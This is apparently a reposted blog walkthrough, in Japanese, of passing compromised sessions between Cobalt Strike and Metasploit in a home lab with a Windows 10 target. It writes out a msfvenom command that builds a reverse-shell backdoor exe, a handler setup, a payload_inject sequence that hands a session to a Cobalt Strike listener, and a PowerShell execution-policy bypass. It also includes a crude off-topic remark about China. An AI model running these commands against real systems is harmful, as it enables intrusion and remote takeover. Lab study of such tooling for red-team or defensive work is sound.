Cobalt StrikeとMetasploit Framewor連携(セッション転送)機能デモ

I.はじめに

Cobalt Strike は、敵対者およびレッド チームの作戦をシミュレートするために設計されたプラットフォームであり、主に標的型攻撃の実行と高度な脅威のシミュレートを目的としています。CSには、ペネトレーションテストに便利な操作性を提供する多くの機能が統合されています。同時に、CS は豊富なプラグインもサポートし、拡張プラグインを通じてより多くの機能をサポートします。

Metasploit は、コンピューター ソフトウェアの脆弱性の取得、開発、悪用を容易にする、無料でダウンロード可能なフレームワークです。それ自体には、数千の既知のソフトウェア脆弱性に対するプロ仕様の悪用ツールが付属しています。

CobaltStrike の以前のバージョンは MetasploitFramework フレームワークに依存していましたが、現在 CobaltStrike は MetasploitFramework を使用せず、別のプラットフォームとして使用されています。クライアント (Client) とサーバー (Teamserver) に分割されています。サーバーは 1 つあり、複数存在することもできます。チームは分散型の共同作業を実行できます。

Cobalt Strike公式Webサイトのアドレス:https://www.cobaltstrike.com。(中国では開けられないらしく、はしごが必要なようです。開けられないのは壁のせいではありません。中国には売春婦が多すぎるのかもしれません。)

以上、2つのソフトの紹介でした。

私はこの2つのソフトを頻繁に使っていますが、実戦経験が少ないのか連携シーンに遭遇したことがありません。二つのソフトを連携させることで、より立体的で総合的な機能を開発できると思います。そこでネットで検索すると、連携自体をサポートしていることが簡単に分かります。
今日は、CS と MSF の連携、つまりセッション転送を使用するプロセスを記録します。

2. テストトポロジ

ここに画像の説明を挿入
機能のデモンストレーションを容易にするために、VPS は CS サーバーを実行し、MSF はリッスンします。S1 は win10 で青側をシミュレートし、S2 は kali を実行して赤側をシミュレートします。

3. CS セッションが MSF に渡されます。

最初のシナリオは、レッド チームに参加して S1 を制御し、CS セッションを取得し、そのセッションを MSF に渡し、さらなる浸透のために MSF のツールを使用することです。

3.1 CSの準備

1. VPS 上で CS サーバーを実行します。
ここに画像の説明を挿入
2. ローカル kali を使用して接続します。
ここに画像の説明を挿入
3. CS がポート 6666 をリッスンするように設定し
ここに画像の説明を挿入
、任意に設定します。VPS セキュリティ ルールで許可ポリシーを設定する必要があります。「保存」をクリックすると、プロンプト・リスナーが実行されます。

4. ペイロードの生成 テストの便宜上、PowerShell 形式でペイロードを直接生成し、
ここに画像の説明を挿入
生成されたペイロードをターゲット ホスト (S1) にコピーして、PowerShell で実行します。

このシステムではスクリプトの実行が無効になっているため、ロードできません。詳細については、「get-help about_signing」を参照してください。事前に実行する必要があります
:
Set-ExecutionPolicy Unrestricted -Scope CurrentUser

5. この時点で CS セッションが取得されます。
ここに画像の説明を挿入

3.2 MSFの準備

VPS で msfconsole を実行し、msf を開きます。
ここに画像の説明を挿入

3.3 セッション配信

外部リスナーを CS に追加します。
ここに画像の説明を挿入
IP アドレスは msf リスニング IP で、ポートは msf リスニング ポートです。
ここに画像の説明を挿入
次に、移行するセッションを右クリックし、「スポーン」を選択します。中国語版では「攻撃」と訳されます。
個人的には翻訳が正確ではないと感じていますが、spawn という言葉は、卵を産むこと、誕生を引き起こし促進することを意味しますが、
孵化や派生とも訳せます。
クリックすると、msf でセッションが生成されていることがわかります (7 秒以上待つ必要があります)。
ここに画像の説明を挿入
これは、session コマンドを使用してアクティブなセッション情報を確認するためです。
ここに画像の説明を挿入

4. MSF セッションが CS に渡されます。

4.1 CSの準備

待機待機セッションを確立します。
ここに画像の説明を挿入

4.2 MSFの準備

msfvenom
ここに画像の説明を挿入
コマンドを使用してバックドア ファイルを生成します。

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.20.100 LPORT=6666 -f exe > msfshell.exe 

MSF を起動し、バックドア ファイルを受信して​​シェルにリバウンドするようにメータープリター監視を設定します。
ここに画像の説明を挿入

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.20.100
set lport 6666 
run

生成されたexeファイルを制御対象ホストS1(win10)にコピーし、実行します。
セッションが正常に取得されたことがわかります。
ここに画像の説明を挿入

4.3 セッション配信

セッションをバックグラウンドにするには、background コマンドを使用します。
payload_inject モジュールを呼び出して、指定されたセッション セッション ID を Cobalt Strike リスナーに挿入します。

use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set lhost 192.168.20.154   # CS服务端IP
set lport 80       # CS服务端监听的端口号
set DisablePayloadHandler True
set PrependMigrate True
set session 1  # 会话id
run

上がコマンド、下が実行中のスクリーンショットです。
ここに画像の説明を挿入
インジェクションが成功したことがわかります。
CSに戻って確認してください。
ここに画像の説明を挿入
確立されたセッションを確認できます。

V. まとめ

5.1 CS セッションから MSF プロセスへの転送

一度記録をテストしていて、途中で色々な異常を感じたのですが、何とか実現できませんでした。
途中で、CS のバージョンが変更され、S1 ホストのオペレーティング システムのバージョンが変更され、トポロジ構造も変更されました。
ついにそれが起こりました。
最終的に実装したCSの環境はバージョン4.4 k8gege、S1(攻撃対象マシン)のOSはwin10、ペイロードはexe形式を使用しました。

powershell もステージレス exe も win7 では成功しませんでした。
Powershell とステージレス セッションは win10 で成功します。
端末のオペレーティングシステムに関係があるようです。
テストトポロジに関しては、CSとMSFが同一ホスト上にあるかどうかは関係なく、CSとMSFがVPSである場合や、CSがローカルホストでMSFがVPSである場合でも実施可能です。ネットワークが接続されている限り、ポートは制限されません。
他の変数を一定に保った場合、CS 4.5 でさらにテストすることはできませんでした。具体的なパフォーマンスとしては、4.4 バージョンをクリックすると、コマンド インタラクション ウィンドウにプロンプ​​ト メッセージが表示されます。
ここに画像の説明を挿入
ただし、CS 4.5 バージョンを使用している場合は、プロンプトは表示されません。
ここに画像の説明を挿入
結局のところ、4.5 バージョンのパッケージに問題がある可能性があります。 、それらはすべて無駄です。

5.2 MSF セッションが CS プロセスに渡される

このプロセスには落とし穴がなかったので、これ以上の詳細なテストは行われませんでした。

おすすめ

転載: blog.csdn.net/imtech/article/details/128915718